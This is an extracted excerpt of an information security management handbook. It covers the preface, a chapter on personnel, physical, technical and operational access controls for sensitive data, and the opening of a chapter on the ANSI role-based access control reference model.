The landscape of information security has changed. The bad news: It is more nebulous than ever before. No longer can chief information security officers work solely within the confines of their organizations’ security policies or their industry-specific regulatory mandates and feel comfortable that the depth and efficacy of their program will not be second guessed. As current events unfold, established institutions such as Bank of America, Lexis-Nexis, and Choicepoint watch as their reputations come into question and their names are plastered on the front pages of the national media. Regardless of the incidental details, be they business process fraud or third-party errors and omissions, all of the events to date have been publicized as “security breaches.” Does this mean that the chief information security officer is the individual who is accountable for the deficiencies? If not, who is? What role does the chief information security officer play in this extraordinarily complex and imprecise environment? Prompted by current events, legislators hold committee hearings and continue to probe, asking incessant questions about the adequacy of information security and protection programs as they weigh in on the adoption of additional federal and state regulations relative to widely publicized events such as identity theft. At the same time, threats such as external hacking endanger the security of organizations’ infrastructures. Although the data indicates that companies are adopting more robust security postures at the perimeter, the enemy continues to get smarter and the security professional continues to look for a better mousetrap. Moreover, immature control disciplines on, for example, Web application development introduce newer, potentially exploitable vulnerabilities, such as cross-site scripting and buffer overflows. So, as custodians and guardians of a broad spectrum of information assets, what are we to do? Enter the Information Security Management Handbook, the mission of which is to arm readers so they are prepared to do battle in this exciting yet taxing environment. The multitude of authors who have contributed to this handbook delve into detail on the ten domains of the information security common body of knowledge, providing technical, people-based, and process-based solutions for many of the same situations that the readers routinely encounter. Our goal is to empower readers with pragmatic counsel so they can establish a defensible standard of due care in their own organizations. As always, this volume balances contemporary articles along with relevant articles from past editions. We offer this compilation of information, representing hundreds of years of accumulated experience and knowledge, so our readers can fight the good fight and triumph over the various and sundry challenges facing all of us. Good Luck, Hal Tipton and Micki Krause
xxiii
This page intentionally left blank
Domain 1 Access Control Systems and Methodology
2
Information Security Management Handbook
According to Webster’s Dictionary, control is a method to “exercise restraining or directing influence over.” Organizations use controls to regulate and define the limits of behavior for their workforces, operations, processes, and systems. Access control is comprised of the processes and supporting technical tools used to enforce the fundamental principle of least privilege, which ensures that appropriate access is granted for only those resources required for performance of a job. Access controls can be (1) user based, (2) role based, or (3) user and role based. [Ample justification exists for beginning the handbook with the fundamental concept of controlling access to resources. Absent access controls, organizations have little if any assurance that information will be used or disclosed in other than an authorized manner.]
Access Control Systems and Methodology
3
Contents Section 1.1
Access Control Techniques
1 Sensitive or Critical Data Access Controls ..................................................................................... 5 Mollie E. Krehnke and David C. Krehnke 2 An Introduction to Role-Based Access Control........................................................................... 17 Ian Clark 3 Smart Cards ....................................................................................................................................31 Jim Tiller 4 A Guide to Evaluating Tokens....................................................................................................... 41 Joseph T. Hootman
Section 1.2
Access Control Administration
5 Identity Management: Benefits and Challenges........................................................................... 51 Lynda L. McGhie
This page intentionally left blank
1 Sensitive or Critical Data Access Controls Mollie E. Krehnke and David C. Krehnke
Introduction Corporations have incredible amounts of data that is created, acquired, modified, stored, and transmitted. This data is the life blood of the corporation and must be protected like any other strategic asset. The controls established to prevent unauthorized individuals from accessing a company’s or a customer’s data will depend on the data itself and the laws and regulations that have been enacted to protect that data. A company also has proprietary information, including research, customer lists, bids, and proposals — information the company needs to survive and thrive. A company also has personal, medical, and financial information and security-related information such as passwords, physical access control and alarm documentation, firewall rules, security plans, security test and evaluation plans, risk assessments, disaster recovery plans, and audit reports. Suppliers and business partners may have shared their proprietary information to enable business processes and joint ventures. Appropriate access controls should be implemented to restrict access to all of these types of information. The effectiveness of any control will depend on the environment in which it is implemented and how it is implemented. The need to protect individual, business, financial, and technology data in the United States has become paramount in the last 40 years because of the impact of unauthorized disclosure of such information. Key examples are the Privacy Act, the Health Insurance Portability and Accountability Act (HIPAA), the Sarbanes–Oxley Act (SOX), the Department of State International Traffic in Arms Regulations (ITAR), and the Department of Commerce Export Administration Regulations (EAR). The presence of this legislation regarding the protection of certain types of information has mandated the implementation of security controls in many sectors of the U.S. economy. Companies are required to show due diligence in the protection of such information, which is a worthwhile objective, given the impact on an individual, a company, or the nation if this information is disclosed. Depending on the legislation, the ramifications associated with noncompliance may be minimal or very significant. The penalty for the unlawful export of items or information controlled under the ITAR is up to ten years’ imprisonment or a fine of up to $1,000,000, or both, for criminal charges; civil charges have fines up to $500,000 per violation. The penalty for the unlawful export of items or information controlled under the EAR is a fine of up to $1,000,000 or five times the value of the exports, whichever is greater. For an individual, the fine is imprisonment up to ten years or a fine of $10,000 to $120,000 per violation, or both. These are just the fines; not included are the costs of frequent reporting to the auditors for a designated time period regarding resolution of the data exposure and new corrective actions, damage to the brand of the company, or loss of current or prospective customers who will go elsewhere for their products and services. The cost of controls to protect such information is likely to be considerably less.
5
6
Information Security Management Handbook
Identify the Organization’s Data and Its Characteristics To identify the controls required to protect data, it is necessary to know what data the organization has. Some information may be more readily identified because human resources and finance departments and privacy offices have been identifying such data for a long time. But, to be complete in an analysis of corporate data, it is necessary to document all business processes and the associated data. What information is being created when the corporation builds a product, sells a product, or provides technical support on a product to a customer? When the data has been identified, it is then necessary to determine its characteristics. Is it public data? Should access be restricted? Who can see and use the data? What persons cannot? Determining what information has to be protected will depend on the expertise of the data owners, account managers, program managers, business managers, research directors, and privacy and legal staff (and possibly others). In some instances, government legislation and regulations for certain types of data change over time, so a regular review of procedures and controls may be required to determine if the established controls are still appropriate. For the purposes of this chapter, the terms “sensitive” or “restricted” data are used to represent data that must be protected from access by individuals not authorized to have that data. This chapter is not addressing the protection of classified data, although many of the controls being described are used in protecting classified data.
Identify Data Owner and Data Custodians After the company’s data has been determined, an individual who is responsible for that data must be identified. The data owner is a key resource in the definition of the company’s data, including the source, the type of data (personal, medical, financial), the business processes that use the data, the data form, the storage location of the data, and the means by which it is transmitted to others. This individual is also (ultimately) responsible for the integrity, confidentiality, and availability of the data under consideration. The data custodian is the person (or organization) entrusted with possession of and responsibility for the security of the specified data and must apply the rules established to protect the data. The cooperation of these individuals is vital to the determination of information sensitivity and criticality and the associated content-based data access controls.
Determine Information Sensitivity and Criticality The two information designation categories are sensitivity and criticality, and each category may have multiple levels. The number of levels will depend not only on the varying types of information requiring protection but also on the protection measures available to protect a particular level of information. For example, if it is possible to implement only three levels of controls for a particular category because of resource restraints, then having five levels for that category will be more differentiation than can be implemented given those restraints. In instances where several levels have been identified, only the protection measures required for that specific level are applied to data associated with that level. The levels of sensitivity and criticality are usually determined by conducting a business impact assessment (BIA). Sensitivity reflects the need to protect the confidentiality and integrity of the information. The minimum levels of sensitivity are sensitive and nonsensitive. Criticality reflects the need for continuous availability of the information. Here, the minimum levels are critical and noncritical. Sensitivity and criticality are independent designations. All corporate information should be evaluated to determine both its sensitivity and criticality. Information with any criticality level may have any level of sensitivity and vice versa.
Sensitive or Critical Data Access Controls
7
Involve Key Resources in the Definition of Access Controls When the data designations have been established for a given set of data, the controls to protect information with that sensitivity and criticality must then be defined. The information security organization will not be able to establish controls unilaterally and will require the cooperation and input of the human resources, legal, physical security, and information technology organizations — and, of course, senior management — to make this happen. These organizations will have to provide input regarding the mandated controls for protecting the data, identification of individuals or groups of individuals who are permitted to access the data, and what protective measures can be implemented and not adversely impact the conduct of business. Defining the required controls will also require knowledge of how the systems are configured, where the information is located, and who has access to those systems. This will require knowledge of the organization’s enterprise information technology architecture and its security architecture in order to implement the appropriate physical and logical access controls. All types of restricted data can all be protected in the same way (system high), or the information can be grouped into different types by content and data-dependent access controls specified.
Establish Personnel Controls Identify Job Functions Requiring Access Restricted Data In many cases, the ability to access data is defined by the individual’s job responsibilities; for example, human resources (HR) information is handled by HR specialists, medical information is handled by medical staff, and insurance information is handled by claims specialists. But, other company information will cross many organizational activities, including manufacturing, sales, and technical support for products sold. Identifying who is handling restricted information in an organization is not an easy process and requires an in-depth understanding of the company’s business processes and data flows. The data access flows for a particular company depends on the demographics of the employees, characteristics of the data, business functions and associated processes, physical configuration of the business facilities, and information technology infrastructure characteristics and configuration.
Screen Personnel Prior to Granting Access Personnel accessing restricted information as part of their job responsibilities should have a level of background screening that is based on the sensitivity and criticality of the information. Data that has a higher sensitivity or higher criticality should be accessed only by trustworthy individuals, and this may require a more extensive background screening process. Individuals providing support to applications, systems, or infrastructure — for the organization or for a customer — should also meet the established access requirements. This would include employees and consultants who are providing administrative or technical support to the company databases and servers. With off-shore technical support being provided for many commercial off-the-shelf (COTS) products and company services, there is a greater risk that unauthorized individuals may, inadvertently, have access to restricted information.
Badge Personnel Each person should have a picture badge. (In the U.S. government, this badge is referred to as a personal identification verification [PIV] card.) The badge may contain a magnetic strip or smart chip that can be used to access areas where restricted data is used or stored. Those pictures can also be used in organizational charts for each business function to help employees understand who is authorized to access a given area. Permission to access areas containing restricted information can also be indicated on the badge by background color, borders, or symbols.
8
Information Security Management Handbook
Establish Physical Security Controls Legislation and federal regulations may mandate that an individual who does not have authorized access to information cannot be provided with an “opportunity” to access that information; whether or not the individual would try to access the information has no bearing on this requirement — the possibility for exposure must not exist. What does this mean for the organization and its business processes?
Group Employees Working on Restricted Information If possible, group individuals requiring access to a particular type of restricted information by floors or buildings. This reduces the opportunity for access by unauthorized individuals. If floors in a multiplestory building contain restricted information, badge readers can be installed to permit access to particular floors or corridors. Personnel granted access should not allow unauthorized persons to tailgate on their badges. Badge readers can also be installed in elevators that only permit access to certain floors by individuals with badges for those areas. Of course, persons exiting at a given floor must ensure that only authorized persons leave the elevator on that floor.
Define and Mark Restricted Areas Persons who need to use restricted data as part of their job responsibilities should be physically separate from other employees and visitors in order to prevent inadvertent access to restricted data. Areas of restricted access should be defined based on employee job functions and marked with signs indicating that the area is a controlled access area, with a point of contact and telephone number for questions or assistance. Implement Badge Readers Each area containing restricted data should be controlled by a guard and hardcopy access control log or by a badge or biometric reader to grant and document access. The badge reader could be a contact reader or a proximity reader. Provide Secure Storage for Data Employees using restricted data as part of their work responsibilities need to a have a secure location to store that information when it is not in use. This storage could be locked drawers and cabinets in the employee’s work space or specifically created access-controlled filing areas. Install Alarms Install physical alarms in restricted areas to alert guards regarding unauthorized physical access. Install electronic alarms on devices on the networks to alert security administrators to unauthorized access. Ensure that trained individuals are available to readily respond to such an alarm and reduce, if not resolve, the impact of the unauthorized access. Mark Hardcopy and Label Media Restricted information, whether in electronic or nonelectronic format, should be legibly and durably labeled as “RESTRICTED INFORMATION.” This includes workstation screen displays, electronic media, and hardcopy output. The copy number and handling instructions should be included on hardcopy documents.
Sensitive or Critical Data Access Controls
9
Establish Management Controls Develop Content-Dependent Access Control Policies and Procedures Policies provide high-level direction and set management expectations, and procedures provide the stepby-step instructions for controlling access. It is human nature for users to perform tasks differently and inconsistently without proper direction. Inconsistent task performance increases the potential for unauthorized (accidental or intentional) access to take place. An acceptable and appropriate use policy sets management’s expectations concerning the protection of sensitive and critical information and the workrelated use of e-mail and the Internet, as well as browsing, modifying, or deleting information belonging to others.
Establish Visitor Controls Visitors may be required to access individuals and information residing in a restricted area. Before the visitor can be granted access to the area, it is important to document the purpose of the visit, determine need-to-know and fulfillment of legislative requirements, and provide a trained escort for the visitor. Information about a visitor, such as the purpose of the visit, employer (or organization the visitor represents), proof of citizenship, need-to-know, length of visit, and point of contact at the company, should be reviewed, approved, documented, and maintained by a security organization. If proof of citizenship is necessary, the visitor should bring a passport, birth certificate, or notarized copy of either for a security officer to review and verify. If a birth certificate is used, the individual should also bring government proof of identity (e.g., driver’s license). A company should not allow individuals access to the company who have arrived at the last minute as part of a larger group from another organization. This is a common practice used by industrial espionage specialists, and it is quite effective because general courtesy would make it seem rude to exclude that person. The escort for a visitor should be an individual who has an understanding of the information being requested, discussed, or presented and can make an accurate determination as to whether or not the visitor can receive, hear, or see the information. The escort should be prepared to remain with that individual throughout the visit or identify another appropriate employee who can assume the escort responsibilities as required. Secure storage for a visitor’s unauthorized personal items should be provided. Depending on the sensitivity of the visit and the information being discussed, visitors may not be permitted to bring cellular phones, camera phones, pagers, personal digital assistants (PDAs), laptop computers, or other data collection instruments into the restricted areas. Secure visitor passage corridors should be established. A walk-through prior to the visit can be used to verify that restricted information is properly secured. Escorts assigned to visitors should ensure that the visitors are not exposed to information for which they are not authorized, such as on whiteboards in meeting rooms or employee cubicles, in conversations overheard in hallways or breakrooms, or in documents in employee cubicles. The escort should control tour groups to prevent one or more individuals from breaking away from the group to pursue unauthorized discussions or observations.
Prevent Information Leakage at External Gatherings Presentations and presentation materials for trade shows, conferences, and symposiums should be approved in advance. Attendees should be instructed about what topics can and cannot be discussed. Employees should be trained on the risks of discussing business functions or products with family, friends, colleagues, and acquaintances.
10
Information Security Management Handbook
Authorize Access Each person’s qualification for access should be verified based on job responsibilities (need to know), background screening, and any legislative requirements (e.g., U.S. citizen). This authorization should be documented in the individual’s personnel file and electronic files such as Microsoft’s Active Directory. Several control models can be used to grant access to corporate information. Organizations implementing mandatory access controls assign security labels to each subject (user) and each data object; mandatory access control consists of the owner authorizing access based on need to know and the system allowing access based on the labeling. Discretionary access control allows data owners (representing organizational units) to specify the type of access (e.g., read, write, delete) others can have to their data; this decentralized approach is usually implemented through access control lists. Rule-based discretionary access control is based on specific rules linking subjects and objects. Administrator-based discretionary access control allows system administrators to control who has access to which objects. Role-based access control grants and revokes access based on a user’s membership in a group; this method is used in most large organizations. For organizations with large data warehouses, data views are preapproved for various role-based groups. Content-based access control uses an arbiter program to determine whether a subject with discretionary access to a file can access specific records in the file. This model provides greater granularity than simple file access. Similar granularity is available using views for access to a database. Regardless of the access control model used, the design of access controls should be based on the principle of least privilege, and the continuing need for access should be revisited on an annual basis for each individual.
Establish Enterprise Security Architecture Require Approved Hardware and Software To ensure the integrity of the computing infrastructure and the associated information, hardware and software should be standardized and controlled by an information technology governance committee or organization; that is, the hardware and software should be on the approved list and only acquired from approved sources. Personnel wishing to use hardware and software not on the list should first obtain approval from the information technology governance committee or organization.
Harden Computing Platforms Hardening control standards should be implemented specific to each platform. These standards should be updated as new vulnerabilities are uncovered and updates are available. Platforms should not be deployed to a production environment prior to hardening. Unnecessary services and applications should be removed or disabled. Unnecessary default accounts and groups should be removed or disabled. Computers should be configured to deny log-in after a small number of failed attempts. Controls should be configured to limit privileged access, update and execute access to software, and write access to directories and files. Guidelines should be established regarding a user’s password length and associated format complexity. Security mechanisms, such as tokens or certificates, can be configured to strengthen the system administrator authentication requirements.
Track Hardware and Software Vulnerabilities Vulnerability advisories involving the software and hardware in use within the corporation should be tracked and corrective actions implemented as deemed appropriate. Vulnerabilities within a Web server might allow attackers to compromise the security of the servers and gain unauthorized access to resources elsewhere in the organization’s network.
Sensitive or Critical Data Access Controls
11
Implement Configuration and Change Management Changes to hardware and software configurations should be managed to ensure that information resources are not inadvertently exposed to unnecessary risks and vulnerabilities. All changes should be appropriately tested, approved, and documented. Inappropriate configuration or improper operation of a Web server may result in the disclosure of restricted corporate information, information about users or administrators of the Web server including their passwords, or the configuration of the Web server or network that could be exploited in subsequent attacks.
Implement Software Security Features and Controls Safeguards embedded in computer software should be activated to protect against compromise, subversion, or unauthorized manipulation. All features and files that have no demonstrable purpose should be disabled or removed. Default privileged log-on IDs, default passwords, and guest accounts should be disabled or removed. The use of administrative and root accounts for running production applications should be prohibited. Access to specific applications and files should be limited. Access to systems software utilities should be restricted to a small number of authorized users. Software that is unlicensed, borrowed, downloaded from online services, public domain shareware/freeware, or unapproved personal software should not be installed.
Sanitize Memory and Storage To Remove Data Residue Allocated computer memory of shared devices should be sanitized before being made available for the next job (i.e., object reuse). Likewise, file storage space on shared devices should be sanitized before being reassigned.
Implement Virus Protection Virus protection software should be installed and enabled. Centralization of automatic updates ensures that the latest versions of virus detection software and signature files are installed.
Implement Audit Logs Audit logs should record significant operation-related activities and security-related events. Audit logs must be reviewed periodically for potential security incidents and security breaches. The use of an audit reduction tool increases the efficiency and accuracy of the log review.
Establish Separate Database Servers for Restricted Data Corporate data is often stored in large databases or data warehouses that are accessible to all employees and contractors, but not all employees and contractors should have access to the data. The use of knowledge discovery in database (KDD) tools for data exploration (often called data mining) in an iterative process can result in the discovery of “interesting” outcomes. It is possible that those outcomes can support the inference or actual discovery of restricted information, even with individual identification and authentication measures for data access in place. Information systems and databases containing restricted information should be separate from other servers, including Web and application servers, in order to ensure that unauthorized individuals cannot gain access to restricted information. Such database servers must also implement security controls appropriate for the level of sensitivity and criticality of the information they contain.
12
Information Security Management Handbook
Control Web Bots Web bots (also known as agents or spiders) are software applications used to collect, analyze, and index Web content. An organization may not want its Web site appearing in search engines or have information disclosed that it would prefer to remain private or at least unadvertised (e.g., e-mail addresses, personal Internet accesses).
Implement File Integrity Checkers A file integrity checker computes and stores a checksum for every guarded file. Where feasible, checksums should be computed, stored, and continually checked for unauthorized changes on restricted data.
Implement Secure Enclaves Information designated as restricted may be placed in a secure enclave. Secure enclaves are network areas where special protections and access controls, such as firewalls and routers, are utilized to secure the information. Secure enclaves apply security rules consistently and protect multiple systems across application boundaries. Secure enclaves should employ protection for the highest level of information sensitivity in that enclave.
Protect the Perimeter The perimeter between the corporate network and the Internet should be protected by implementing firewalls and demilitarized zones (DMZs). Firewalls should run on a dedicated computer with all nonessential firewall-related software, such as compilers, editors, and communications software, deleted. The firewall should be configured to deny all services not expressly permitted, audit and monitor all services including those not permitted, detect intrusions or misuse, notify the firewall administrator in near real time of any item that may require immediate attention, and stop passing packets if the logging function becomes disabled. Web servers and electronic commerce systems accessible to the public must reside within a DMZ with approved access control, such as a firewall or controlled interface. Sensitive and critical data should not reside within a DMZ. All inbound traffic to the intranet from the DMZ must be passed through a proxy-capable device.
Control Business Partner Connections When establishing third-party connections, access controls and administrative procedures should be implemented to protect the confidentiality of corporate information and that of its business partners when such information is maintained in the corporate network.
Implement Operational Controls Authenticate Users Authentication can be based on something the user knows (password, personal identification number [PIN], or pass phrases), something the user holds (token), or some user characteristic (biometric). The use of PINs should be restricted to applications with low risk. Passwords should be complex and at least eight characters in length. Personal passphrases are the preferred knowledge-based authenticator because they can be 15 or more characters in length; they can be made more complex by the use of upper- and lowercase alphabetic characters, numbers, and special characters; and they are easy to remember (i.e., they do not have to be written down). The number of unsuccessful authentication attempts should be limited, and the user should just be told that the access attempt failed, not why it failed.
Sensitive or Critical Data Access Controls
13
Implement Remote Access Controls Where remote access is required, remote access security should be implemented. Information resources requiring remote access should be capable of strong authentication. Remote access from a non-corporate site should require users or devices to authenticate at the perimeter or connect through a firewall. Personnel outside corporate firewalls should authenticate at the perimeter. In addition, personnel outside corporate firewalls should use an encrypted session, such as a virtual private network (VPN) or Secure Sockets Layer (SSL).
Implement Intrusion Detection and Intrusion Prevention Systems Intrusion detection and prevention systems should be implemented to detect and shutdown unapproved access to information resources.
Encrypt Restricted Information Restricted information transmitted over untrusted networks should be encrypted. Restricted information stored on portable devices and media (e.g., backups) that leave a secured area should be encrypted. Depending on the level of sensitivity, it may also be prudent to encrypt information in storage.
Implement Workstation Controls Workstations should have an approved personal firewall installed. Other security controls may include, but are not limited to, positioning screen to restrict viewing from passersby, lockable keyboard, power lock, and desk-fastening hardware. Computer sessions should time out after a period of inactivity and require reauthentication to continue the session. The reauthentication can be a password, a token such as a fob or smart card, or a biometric. The location of the workstation and signal strength of the device must be considered for proximity fobs and smart cards to ensure that the session is not reactivated when the user and the user’s device are in an adjacent hallway, breakroom, restroom, etc. because the signal may not be attenuated by interior wall and cubicles.
Implement Controls for Portable Devices Portable devices must be protected against damage, unauthorized access, and theft. All personnel who use or have custody of portable devices, such as laptop computers, notebook computers, palm tops, handheld devices, wireless telephones, and removable storage media devices, are responsible for their safekeeping and the protection of any sensitive or critical information stored on them. Laptop and notebook computers should connect to the corporate intranet at least once a week to receive the latest software patches, antivirus pattern recognition files, and personal firewall patterns. In addition, sensitive information on portable devices must be protected (e.g., encrypted) when leaving a secure environment.
Release Information on Factory-Fresh or Degaussed Media Before releasing information on electronic media outside the corporation, the information should be copied onto factory-fresh media (never used) or onto media appropriately degaussed to prevent the inadvertent release of restricted information.
Implement Precautions Prior to Maintenance To prevent inadvertent disclosure of restricted information, all hardware and electronic media being released for maintenance outside of corporate facilities should, prior to release, undergo data eradication or the corporation should have in place a legally binding contract with the contractor or vendor regarding the secure handling and storage of the hardware and electronic media.
14
Information Security Management Handbook
Eradicate Electronic Hardware and Media Prior to Disposal To prevent inadvertent disclosure of restricted information, all electronic hardware and media must, prior to being disposed of, undergo data eradication. Unacceptable practices of erasure include a highlevel file erase or high-level formatting that only removes the address location of the file. Acceptable methods of complete erasure include zero-bit formatting, degaussing, overwriting several times (the number depends on information sensitivity), and physical destruction.
Remove Access on Terminations and Transfers Routine separation of personnel occurs when an individual receives reassignment or promotion, resigns, retires, or otherwise departs under honorable and friendly conditions. Unless adverse circumstances are known or suspected, such individuals should be permitted to complete their assigned duties and follow official employee departure procedures. When personnel leave under nonadverse circumstances, the individual’s manager, supervisor, or contracting officer must ensure that all accountable items, including keys, access cards, laptop computers, and other computer-related equipment are returned; the individual’s computer log-on ID and building access authorizations must be terminated coincident with the employee’s or contractor’s effective date of departure, unless needed in the new assignment; and all restricted information, in any format, in the custody of the terminating individual must be returned, destroyed, or transferred to the custody of another individual. Removal or dismissal of personnel under involuntary or adverse conditions includes termination for cause, involuntary transfer, and departure with pending grievances. In addition to the routine separation procedures, termination under adverse conditions requires extra precautions to protect corporate information resources and property. The manager, supervisor, or contracting officer of an individual being terminated under adverse circumstances must ensure that the individual is escorted and supervised at all times while in any location that provides access to corporate information resources; immediately suspend and take steps to terminate the individual’s computer log-on IDs, physical access to information systems, and building access authorizations; ensure prompt changing of all computer passwords, access codes, badge reader programming, and physical locks used by the individual being dismissed; and ensure the return of accountable items and correct disposition of “restricted information” as described under routine separation.
Train Users To Protect Restricted Data Employees must be trained in the identification, marking, handling, and storage of restricted data. A company with a large number of employees that handle restricted information should consider creating an automated mechanism for training and tracking of training, so the security personnel are not bogged down. Security personnel should be available to answer questions, however. Materials and periodic opportunities should be created to remind employees of their responsibilities to protect information and provide annual refreshers.
Destroy Information No Longer Needed Hardcopy containing restricted information no longer needed should be cross shredded on site or stored in a secure container for pickup by a service provider. Electronic removable media containing restricted information should be sanitized before reuse or destroyed.
Sensitive or Critical Data Access Controls
15
Monitoring for Compliance Inspect Restricted Data Areas Physical reviews of areas containing restricted data should be conducted to ensure the data is being appropriately handled, marked, and stored. Other areas of the company should be reviewed to ensure that restricted data is not located in those spaces.
Review Electronic Data Access System and applications logs should be reviewed for intrusion and unauthorized access to restricted information. Access authorizations should also be reviewed periodically to ensure that individual’s who no longer require access have been removed.
Ramifications for Noncompliance What will be the costs to a company for not implementing required information security controls? What fines would be imposed on its operations? Could the company be sued because exposure of an employee’s personal information caused significant embarrassment or harm? Will the company’s image be tarnished? What would the costs be in terms of loss of customers? It is hoped that the experiences of others can provide an incentive for action, although organizations must be prepared to address the “it can’t happen here” attitude. They will have to depend on the expertise of the data owners, account managers, program managers, business managers, research directors, and privacy and legal staff (and possibly others) not only to determine what information has to be protected and how to protect it but also to help justify why it must be protected. The controls that may have to be put into place to protect the company’s data may seem extensive, but the costs associated with not protecting the information can be enormous.
This page intentionally left blank
2 An Introduction to RoleBased Access Control Ian Clark
Introduction Today’s large organization’s information technology (IT) infrastructure is a mix of complex and incompatible operating systems, applications, and databases spread over a large geographical area. The organization itself has a dynamic population of employees, contractors, business partners, and customers, all of whom require access to various parts of the infrastructure. Most companies rely on manual or semiautomated administration of users and their access to and privileges for various systems. Often different systems will have their own sets of access requirements with different sets of administrators who will have different but often overlapping skill sets, leading to poor use of resources. This increasing number of disparate systems creates an enormous administrative overhead, with each group of administrators often implementing their own policies and procedures with the result that access control data is inconsistent, fragmented across systems, and impossible to analyze. As the complexity of the organization’s IT infrastructure increases, the demand for access control administration across the enterprise outgrows the capacity of manual administration across the distributed systems; the increased administrative complexity can also result in increased errors that in turn can lead to increased security risks (Allen, 2001). Additionally, a raft of new legislation, such as Sarbanes–Oxley (SOX) (Sarbanes–Oxley, 2005), means that companies now must be able to prove compliance with well-defined security policies, must be able to provide adequate proof of who has access to which data, and must maintain access and authorization audit trails. Role-based access control (RBAC) is purported to give a new, fresh approach to access control. It has the ability to represent the organizational structure and enforce access control policies across the enterprise while easing the administrative burden. Additionally, it encompasses the best design principles from earlier models, such as the principle of least privilege and separation of duties, and can assist in proving compliance with company security policies and legislative requirements.
Role-Based Access Control Traditional access control models, such as Bell LaPadula and Clark–Wilson, rely on an access control matrix where subjects are assigned specific sets of rights according to their level of access. This approach to access control is still the most popular form of access control today, albeit slightly less complicated in modern operating systems; however, the thinking surrounding access control and access control management has slowly been shifting away from the more traditional subject–object models, where the focus
17
18
Information Security Management Handbook
Users
Roles
Permissions
FIGURE 2.1 Core RBAC concept.
is on the action of the subject, toward task- or role-based models (Sandhu, 1995–1997; Thomas and Sandhu, 1993). These models encompass organizational needs and reflect the organizational structure, with a focus on the tasks that must be accomplished. Although the idea of roles has been used in software applications and mainframe computers for over 20 years (NAC, 2002), the last decade has seen a rise in interest in the field, as can be seen in the work of Thomas and Sandhu (1993), Ferraiolo and Kuhn (1992), and Baldwin (1990), where the traditional concepts of access control are challenged and task- and rolebased approaches are presented. A survey by the U.S. National Institute of Standards and Technology (NIST) (Ferraiolo et al., 1993), showed that many organizations base their access control decisions on the role of the user within the organization, with the main drivers for access control decisions being customer and shareholder confidence, privacy of data, and adherence to standards, none of which can be easily accomplished using traditional models. These findings were further supported and enhanced by a follow-up survey conducted by SETA Corp. (Smith et al., 1996). Role-based access control (RBAC) has emerged as the new model to embrace the concept of using roles to enforce enterprisewide security policies while providing a platform to streamline and simplify access control management. The basic concept of RBAC, as shown in Figure 2.1, is very simple (Sandhu, 1998b): “Permissions are associated with roles, and users are made members of appropriate roles thereby acquiring the roles’ permissions.” This is, of course, a simplistic view of RBAC; we will see how the basic concept can be further extended to make it quite complex. Within an RBAC system, roles are created that mirror the organizational structure. Users are assigned to roles according to their job functions and responsibilities within the organization, and permissions are then assigned to the roles. This allows the access control policy to closely match the organizational structure of the company. For example, roles in a hospital may include doctor, nurse, or surgeon; in a bank, they may include accountant, cashier, or loan officer. All of these roles can be defined in the RBAC system and the appropriate permissions assigned to each. From its early inception, the concept of RBAC has meant different things depending on where it is being applied or who has written the paper defining it. The first published RBAC model, which forms the basis of the standards we have today, came from Ferraiolo and Kuhn (1992) and was further revised in 1995 (Ferraiolo et al., 1995) after a successful reference implementation (Ferraiolo et al., 2001a). Also in 1995, the Association for Computing Machinery (ACM, 1995) held its first RBAC workshop, which brought together both researchers and vendors from across the globe to discuss the salient issues surrounding RBAC. In 1996, Sandhu et al. (1996) introduced a framework of four reference models to provide a uniform approach to RBAC; this framework clearly defined each of the four reference models and allowed them to be interchanged to create an RBAC system to meet differing implementation needs. In 2000, the model from Ferraiolo et al. and the framework from Sandhu et al. were combined by NIST to create a standard RBAC model (Sandhu et al., 2000). After this proposal was further refined by the RBAC community (Jaeger and Tidswell, 2000; Jansen, 1998), it was proposed by NIST as an RBAC standard (Ferraiolo et al., 2001b). The model proposed by NIST was adopted in 2004 by the American National Standards Institute/International Committee for Information Technology Standards (ANSI/INCITS) as ANSI INCITS 359-2004 (ANSI, 2004). In the following sections, we will take an in-depth look at the RBAC model using the approved ANSI standard as our reference.
19
An Introduction to Role-Based Access Control
TABLE 2.1
Role-Based Access Control Terms
Term
Description
User
A human being. Although the concept of a user can be extended to include machines, networks, or intelligent autonomous agents, the definition is limited to a person in this paper for simplicity. A job function within the context of an organization with some associated semantics regarding the authority and responsibility conferred on the user assigned to the role. Any passive system resource, subject to access control, such as a file, printer, terminal, database record, etc. One of the major blocks of RBAC (i.e., core RBAC, hierarchical RBAC, SSD relations, and DSD relations). An approval to perform an operation on one or more RBAC protected objects. An executable image of a program, which upon invocation executes some function for the user. A mapping between a user and an activated subset of roles that are assigned to the user. A relationship between or among roles.
Role Objects Component Permissions Operations Sessions Constraints
Source: ANSI/INCITS. 2004. 359-2004: Information Technology and Role-Based Access Control. American National Standards Institute/International Committee for Information Technology Standards, http://www.techstreet.com/cgi-bin/ detail?product_id=1151353.
The RBAC Reference Model The ANSI standard consists of two parts: the RBAC reference model and the RBAC system and administrative functional specification. For the purposes of this article, we will only consider the RBAC reference model. Terms used in the RBAC reference model are defined in Table 2.1. Because not all RBAC features are either appropriate or necessary for all implementations, the reference model has been broken down into three distinct but interchangeable components (we will consider each of these components in turn): • • • • •
Core RBAC Hierarchical RBAC1 Constrained RBAC Static separation of duty (SSD) relations Dynamic separation of duty (DSD) relations
Core RBAC Core RBAC is the very basis of the model. In order to conform to the ANSI standard, an RBAC system must, as a minimum, implement these core elements. The core model, illustrated in Figure 2.2, consists of five basic data elements: users, roles, objects, operations, and permissions. As mentioned earlier, users are assigned to roles and permissions are assigned to roles, in this case to perform operations on objects. Additionally, the core model includes a set of sessions, with each session being a mapping between a user and an activated subset of roles assigned to the user.
Users
Roles
Operations
Objects
Permissions
Sessions
FIGURE 2.2 Core RBAC components.
20
Information Security Management Handbook
User Assignment (UA)
Users
Permission Assignment (PA)
Roles
Operations
Objects
Permissions user_sessions
session_roles
Sessions
FIGURE 2.3 Core RBAC role relations.
The core model also specifies role relations, illustrated in Figure 2.3, which are a key concept. Both user assignment and permission assignment are shown in the figure with two-way arrows, indicating that there can be a many-to-many relationship between users and roles (i.e., a user can be assigned to one or more roles and a role can be assigned to one or more users), as well as between roles and permissions. This allowance for many-to-many relationships allows the assignment of both roles and permissions to be flexible and granular which enhances the application of the principle of least privilege.2 Each session is a mapping of one user to possibly many roles; that is, users establish sessions during which they activate some subsets of roles assigned to them. Each session is associated with a single user and each user is associated with one or more sessions. The function “session_roles” gives us the roles activated by the session, and the function “user_sessions” gives us the user that is associated with a session. The permissions available to the user are the permissions assigned to the roles that are currently active across all of that user’s session (ANSI, 2004).
